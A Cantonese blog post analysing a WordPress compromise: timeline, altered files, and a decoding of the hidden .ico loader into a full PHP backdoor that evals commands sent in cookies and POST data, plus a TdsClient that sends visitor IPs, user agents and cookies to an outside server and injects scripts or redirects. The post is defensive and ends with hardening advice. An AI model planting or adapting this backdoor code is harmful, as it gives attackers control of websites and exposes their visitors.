是咁的,一直都沒什麼人用的 WordPress 突然被跳到不明來源的廣告網頁。起初都唔太留意發生乜野事,以下係少少記錄發生左乜野事,同時間檢討下可以點樣防止相同的入侵再發生。將來可能會出現 (都可能唔會出現的 Part 2 可能會研究下點解會被 code injection)。
時序
- 12 月 17 日
- 收到報告指 WordPress 轉向到謎之網頁
- 收到報告指 WordPress 轉向到謎之網頁
- 12 月 18 日
- 初步檢查
- Server log 沒出現古怪的流量
- Facebook Sharing Debugger 沒出現問題
- 檢查 server SSH 後沒出現除 whitelist 外的成功登入記錄
- 懷疑是 DNS spoofing 或 WordPress 出現問題
- DNS Server 臨時換到 CloudFlare
- 初步檢查
- 12 月 21 日
- 謎之網頁繼續出現
- 檢查 source code 後發現部分檔案被修改
- 其他目錄沒有出現問題,排除是由 SSH / 其他路徑的入侵
- WordPress 關閉
- 12 月 24 日
- 重新安裝 WordPress
- 手動載入舊文章及內容
- 12 月 25 日
- 重開?
研究
註1:部份內容被修改已防止 server 上的資料流出。
註2:大部份檔案內容與參考 1 的檔案相似,故研究時大多參考該網頁。
註3:如有任何錯誤,請於 comments 中指正,謝謝。
以下的檔案被新增或修改
Folder other than wp-admin, wp-content, wp-includes
+ index.php
Root
+ svril[Redacted].php
M index.php
M wp-settings.php
wp-includes/js/dist
+ .f41df[Redacted].ico
註:+ 新增 / M 修改
index.php, wp-settings.php 及所有子目錄的 index.php 被植入以下代碼:
/*[Redacted]*/
@include "\057var\057www[Redacted]/wp\055inc\154ude\163/js\057dis\164/.f[Redacted]co";
/*[Redacted]*/
Bingo,中獎鳥,進入所有 WordPress 頁面都會載入 wp-includes/js/dist 內的 .ico 檔案 (30.9 KB)。
<?php
[Redacted] = basename/*1*/(/*0sogf*/trim/*5tvm8*/(/*y*/preg_replace/*ilg6p*/(/*4c8l*/rawurldecode/*m*/(/*rh*/"%2F%5C%28.%2A%24%2F"/*1zc*/)/*mp [Redacted]
//[Redacted]f79e953c372dc6925%3An0l%2Bsmb%25%25%7C3z%3F%3Av%3Fjyj%3D%3Dn%3C_%5C%5C%5Eg%3B%20%29%7Ccf
Payload 由兩部分組成,由 line 2 的 executable code 及 line 4 的 comments 組成。所以一開初先研究非 comments 的部分及以為 comments 為,php-cli 本身已經有移除 comments 的 options。
-w Output source with stripped comments and whitespace.
php -w .f41df[Redacted].ico > quest0.php
解讀後出現以下 source code:
<?php
$_9b6f0 = basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"), '', __FILE__)));
$_3t96pm = "G%00%14%19E%0 [Redacted]";
$f = chr(616 - 517) . chr(114) . chr(498 - 397) . "\x61" . 't' . chr(101) . chr(671 - 576) . chr(478 - 376) . chr(251 - 134) . chr(857 - 747) . chr(99) . chr(116) . "\x69" . "\157" . "\x6e"; // 註:create_function
$f('', '};' . (rawurldecode($_3t96pm) ^ substr(str_repeat($_9b6f0, (strlen($_3t96pm) / strlen($_9b6f0)) + 1), 0, strlen($_3t96pm))) . '{');
要解讀 payload ,需要與 xor 檔案名及 path,如果檔案移到其他資料夾或伺服器上,payload 就不會被正確解讀,所以不會被跳到謎之網頁。php 很方便的只要 var_dump 就可以解開 payload ,即使用了 chr ,rawurldecode 等功能乜可以輕易解讀。 以下 payload 的 function name 及 variable name 已修改為更易閱讀的 format 。
Payload:
if (!defined('stream_context_create ')) {
define('stream_context_create ', 1);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "\n");
}
if (!defined('file_put_contents ')) {
define('file_put_contents ', 1);
$UUID = '[Redacted]'; // 註:原為 UUID
global $UUID;
整段 payload 會新增一個 “stream_context_create ” (多了一個 space ) 的 function 。另外會關閉 php 的錯誤記錄以防止被紀錄在伺服器的 log 中。另外重新定義的 “file_put_contents ” 也多了一個 space 。
function BASE64_DECODE_MALWARE($INPUT)
{
if (strlen($INPUT) < 4) {
return "";
}
$STRING = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$ARRAY_STRING = str_split($STRING); // PUT STRING IN ARRAY [0 => A, 1 => B, ...]
$ARRAY_STRING = array_flip($ARRAY_STRING); // REVERSE KEY AND VALUE [A => 0, B => 1, ...]
$COUNTER = 0;
$RETURN = "";
$INPUT = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $INPUT);
do {
$byodgx = $ARRAY_STRING[$INPUT[$COUNTER++]];
$sfsqpeop = $ARRAY_STRING[$INPUT[$COUNTER++]];
$egzxabgn = $ARRAY_STRING[$INPUT[$COUNTER++]];
$caoakyoy = $ARRAY_STRING[$INPUT[$COUNTER++]];
$spgnfiiy = ($byodgx << 2) | ($sfsqpeop >> 4);
$mqpvaq = (($sfsqpeop & 15) << 4) | ($egzxabgn >> 2);
$lwaknva = (($egzxabgn & 3) << 6) | $caoakyoy;
$RETURN = $RETURN . chr($spgnfiiy);
if ($egzxabgn != 64) {
$RETURN = $RETURN . chr($mqpvaq);
}
if ($caoakyoy != 64) {
$RETURN = $RETURN . chr($lwaknva);
}
} while ($COUNTER < strlen($INPUT));
return $RETURN;
}
整段為 base64_decode 的 function 。如悉知為何要重新定義一次原來的 functions 可於 comments 中告知。
if (!function_exists('file_put_contents')) {
function file_put_contents($FILENAME, $DATA, $FLAG = False)
{
$MODE = $FLAG == 8 ? 'a' : 'w'; // IF FLAG = 8, WRITE POINTER = EOF, ELSE WRITE POINTER = FRONT
$HANDLE = @fopen($FILENAME, $MODE);
if ($HANDLE === False) {
return 0;
} else {
if (is_array($DATA)) $DATA = implode($DATA);
$STATUS = fwrite($HANDLE, $DATA);
fclose($HANDLE);
return $STATUS;
}
}
}
if (!function_exists('file_get_contents')) {
function file_get_contents($FILENAME)
{
$HANDLE = fopen($FILENAME, "r");
$STRING = fread($HANDLE, filesize($FILENAME));
fclose($HANDLE);
return $STRING;
}
}
再重新 define 一次 php 原有的 functions,這次是讀取及寫入檔案的功能。可能是怕被伺服器擋住或怕留有記錄?
function BASENAME_MALWARE()
{
return trim(preg_replace("/\(.*\$/", '',__FILE__));
}
會再次回傳 filepath 來做 payload 的更新及解讀第二部分的 payload 。
function XORFUNCTION($INPUTA, $INPUTB)
{
$STRING = "";
for ($I = 0; $I < strlen($INPUTA);) {
for ($J = 0; $J < strlen($INPUTB) && $I < strlen($INPUTA); $J++, $I++) {
$STRING .= chr(ord($INPUTA[$I]) ^ ord($INPUTB[$J]));
}
}
return $STRING;
}
function DECRYPT1($INPUT_A, $INPUT_B)
{
global $UUID;
return XORFUNCTION(XORFUNCTION($INPUT_A, $INPUT_B), $UUID);
}
function ENCRYPT1($INPUT_C, $INPUT_D)
{
global $UUID;
return XORFUNCTION(XORFUNCTION($INPUT_C, $UUID), $INPUT_D);
}
加密及解讀 payload 的部分 (xor 會用上 $UUID)。
function READ_STH_FROM_FILE()
{
$STRING = @file_get_contents(BASENAME_MALWARE());
$STRPOS_INT_FALSE = strpos($STRING, md5(BASENAME_MALWARE())); // abc, a
if ($STRPOS_INT_FALSE !== FALSE) {
$STRPOS_INT_FALSE_2 = substr($STRING, $STRPOS_INT_FALSE + 32); // CONV TO CAPS ASCII
$RETURN = @unserialize(DECRYPT1(rawurldecode($STRPOS_INT_FALSE_2), md5(BASENAME_MALWARE())));
} else {
$RETURN = array();
}
return $RETURN;
}
function UPDATE_FILE($INPUT)
{
$PAYLOAD = rawurlencode(ENCRYPT1(@serialize($INPUT), md5(BASENAME_MALWARE())));
$STRING = @file_get_contents(BASENAME_MALWARE());
$STRPOS_INT_FALSE = strpos($STRING, md5(BASENAME_MALWARE()));
if ($STRPOS_INT_FALSE !== FALSE) {
$STRPOS_INT_FALSE_2 = substr($STRING, $STRPOS_INT_FALSE + 32); // CONV TO CAPS ASCII
$STRING = str_replace($STRPOS_INT_FALSE_2, $PAYLOAD, $STRING);
} else {
$STRING = $STRING . "\n\n//" . md5(BASENAME_MALWARE()) . $PAYLOAD;
}
@file_put_contents(BASENAME_MALWARE(), $STRING);
}
function READFILE_BASE64DECODE_WRITEFILE($INPUT_A, $INPUT_B)
{
$STRING = READ_STH_FROM_FILE();
$STRING[$INPUT_A] = BASE64_DECODE_MALWARE($INPUT_B);
UPDATE_FILE($STRING);
}
function REMOVE_STH_FROM_FILE($KEY)
{
$STRING = READ_STH_FROM_FILE();
unset($STRING[$KEY]);
UPDATE_FILE($STRING);
}
負責讀取,更新 payload 的部分。這會讀取 .ico 檔案中第 4 行的 comments 部分。第 4 行的部分為 filepath 的 md5 hash,如果找不到 hash 的話會為 hash 轉為大階 ( + 32 ASCII ) 再搜尋一次,如成功就可以解讀及執行 payload 。
function EXEC_STH($INPUT = NULL)
{
foreach (READ_STH_FROM_FILE() as $KEY => $VALUE) {
if ($INPUT) {
if (strcmp($INPUT, $KEY) == 0) {
eval($VALUE);
break;
}
} else {
eval($VALUE);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $KEY => $VALUE) {
$VALUE = @unserialize(DECRYPT1(BASE64_DECODE_MALWARE($VALUE), $KEY));
if (isset($VALUE['ak']) && $UUID == $VALUE['ak']) {
if ($VALUE['a'] == 'i') {
$PAYLOAD = array('pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $VALUE['ak'],);
echo @serialize($PAYLOAD);
exit;
} elseif ($VALUE['a'] == 'e') {
eval($VALUE['d']);
} elseif ($VALUE['a'] == 'plugin') {
if ($VALUE['sa'] == 'add') {
READFILE_BASE64DECODE_WRITEFILE($VALUE['p'], $VALUE['d']);
} elseif ($VALUE['sa'] == 'rem') {
REMOVE_STH_FROM_FILE($VALUE['p']);
}
}
echo $VALUE['ak'];
exit();
}
}
EXEC_STH();
}
}
用來執行第二部分 payload 的部分及 main function ?
<?php
if (!defined('file_get_contents ')) {
define('file_get_contents ', 1);
class TdsClient
{
private $config;
private $config_dict;
public function __construct($config, $uid)
{
$this->config = $config;
$this->uid = $uid;
}
private function _get_config()
{
if (empty($this->config_dict)) {
$this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "[Redacted]"));
}
return $this->config_dict;
}
private function _http_query_curl($url, $content)
{
if (!function_exists('curl_version')) {
return "";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
if (!empty($content)) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$server_output = curl_exec($ch);
curl_close($ch);
return $server_output;
}
private function _http_query_native($url, $content)
{
$context = array('http' => array(
'method' => 'GET',
'timeout' => 10,
'ignore_errors' => true));
if (!empty($content)) {
$context['http']['method'] = 'POST';
$context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
$context['http']['content'] = $content;
$context['http']['timeout'] = 10;
}
$context = stream_context_create($context);
return @file_get_contents($url, FALSE, $context);
}
private function _http_query($url, $query)
{
$url = str_replace("[URL]", "[Redacted]", $url);
$content = $this->_http_query_curl($url, $query);
if (!$content) {
$content = $this->_http_query_native($url, $query);
}
return $content;
}
private function _get_request_ip()
{
$ip_keys = array('REMOTE_ADDR',);
foreach ($ip_keys as $key) {
if (array_key_exists($key, $_SERVER) === TRUE) {
foreach (explode(',', $_SERVER[$key]) as $ip) {
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE) {
return $ip;
}
}
}
}
return "";
}
private function _query()
{
$tds_config = $this->_get_config();
$ip = $tds_config["tds_ip"];
$port = $tds_config["tds_port"];
$path = $tds_config["tds_path"];
$route = "[Redacted]";
if (!empty($tds_config["route"])) {
$route = $tds_config["route"];
}
$query = array();
$query['i'] = $this->_get_request_ip();
$query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
$query['u'] = @$_SERVER['HTTP_USER_AGENT'];
$query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$query['r'] = @$_SERVER['HTTP_REFERER'];
$query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
$query['aa'] = @$_SERVER['HTTP_ACCEPT'];
$query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
$query['c'] = @$_SERVER['HTTP_CONNECTION'];
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$query['cfi'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['HTTP_X_REAL_IP'])) {
$query['xri'] = @$_SERVER['HTTP_X_REAL_IP'];
}
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$query['xff'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
}
$query['co'] = @serialize(@$_COOKIE);
$query['cp'] = serialize(array("a" => $route, "uid" => $this->uid));
$query = http_build_query($query);
$url = "http://" . $ip . ":" . $port . $path;
return $this->_http_query($url, $query);
}
public function process_request()
{
$content = @unserialize($this->_query());
if (isset($content["options"])) {
foreach ($content["cookies"] as $key => $value_and_ttl) {
@setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);
}
if (isset($content["options"]["type"]) && $content["options"]["type"] == "inject") {
$GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
ob_start("TdsClient::postrender_handler");
} else {
foreach ($content["headers"] as $key => $value) {
@header("$key: $value");
}
if (strlen($content["data"]) != 0) {
exit(TdsClient::b64d($content["data"])); # TODO: check if its file
}
}
}
}
public function try_process_check_request()
{
foreach (array_merge($_COOKIE, $_POST) as $data_key => $data) {
$data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));
if (isset($data['ak']) && $this->uid == $data['ak']) {
if ($data['sa'] == 'check') {
return TRUE;
}
}
}
return FALSE;
}
public function can_process_request()
{
$tds_config = $this->_get_config();
eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");
if (function_exists("is_acceptable_tds_request")) {
if (!is_acceptable_tds_request()) {
return FALSE;
}
}
return TRUE;
}
static public function postrender_handler($buffer)
{
// prepare page content
$content = $buffer;
$js_code = $GLOBALS['injectable_js_code'];
if (strpos(strtolower($content), "</head>") !== FALSE) {
$content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
} elseif (strpos(strtolower($content), "</body>") !== FALSE) {
$content = str_replace("</body>", $js_code . "\n" . "</body>", $content);
}
return $content;
}
private function _decrypt_phase($data, $key)
{
$out_data = "";
for ($i = 0; $i < strlen($data);) {
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
private function _decrypt($data, $key)
{
return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);
}
static public function b64d($input)
{
if (strlen($input) < 4) {
return "";
}
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$keys = str_split($keyStr);
$keys = array_flip($keys);
$i = 0;
$output = "";
$input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
do {
$enc1 = $keys[$input[$i++]];
$enc2 = $keys[$input[$i++]];
$enc3 = $keys[$input[$i++]];
$enc4 = $keys[$input[$i++]];
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr($chr1);
if ($enc3 != 64) {
$output = $output . chr($chr2);
}
if ($enc4 != 64) {
$output = $output . chr($chr3);
}
} while ($i < strlen($input));
return $output;
}
}
$uid = '[Redacted]';
$config = '[Redacted]'; // 註:base64 內容
$client = new TdsClient($config, $uid);
if ($client->try_process_check_request()) {
echo "<tds>" . PHP_EOL;
echo $uid;
echo "</tds>" . PHP_EOL;
} else {
if ($client->can_process_request()) {
$client->process_request();
}
}
}
將 comments 解開後的 payload,每個 function name 也很貼心的沒有 obstruction,是獎勵嗎? TdsClient 的 class 會向 $config 的 IP 發送用戶的 IP,user agent 的等資料,然後回傳謎之網頁的 URL / javascript 並植入到 head 中。
array(5) {
["route"]=>
string(8) "[Redacted]"
["tds_port"]=>
string(2) "80"
["tds_filter"]=>
string(927) "if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE)
{
return FALSE;
}
if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT']))
{
return FALSE;
}
foreach (array('/.css/', '/.swf/', '/.ashx/', '/.docx/', '/.doc/', '/.xls/', '/.xlsx/', '/.xml/', '/.jpg/', '/.pdf/', '/.png/', '/.gif/', '/.ico/', '/.js/', '/.txt/', '/ajax/', '/cron.php/', '/wp-login.php/', '/\/wp-includes\//', '/\/wp-admin/', '/\/admin\/
/', '/\/wp-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc.php/', '/\/feed\//', ) as $regex)
{
if (preg_match($regex, @$_SERVER['REQUEST_URI']))
{
return FALSE;
}
}
return TRUE;"
["tds_path"]=>
string(11) "/readme.php"
["tds_ip"]=>
string(12) "138.201.1.[Redacted]"
}
解讀 config 後可得知更多資料:
- 如果 user agent 不是 google / bing / facebook 的 bot 的話才會出現。
- 可能是防止被發現或防止被 flag 為可疑網站?
- 解釋了 Facebook Sharing Debugger 沒出現問題?
- payload 不會被 WordPress 的 admin page 載入
- 迷之 TDS_IP 在德國?
教訓 / 檢討
- 定期更新 WordPress 的 plugins / themes
- plugins / themes 的洞洞多的是。
- 檢查 file hashs / file integrity monitoring
- 如果每日檢查 file hashs , index.php 被修改的話也可以輕鬆發現。
- 例如 WordPress 的 Website File Changes Monitor 。
- 不要共用管理員帳號
- 共用帳號密碼一世也不會 update。
- 登入頁現在使用了 Azure AD 及 CloudFlare access 管理登入。
- 如有需要可以再使用 MFA (Multi-Factor Authentication)。
來源 / 參考:
- Anatomy of a WordPress Backdoor (C&C) (2019, January 26). mass:werk. https://www.masswerk.at/nowgobang/2019/anatomy-of-a-wp-backdoor
- Analysis of a PHP Backdoor. A look at what your hacked WordPress… (2018, April 6). Paul Marrapese. https://medium.com/@pmarrapese/analysis-of-a-php-backdoor-c9ee3e60e810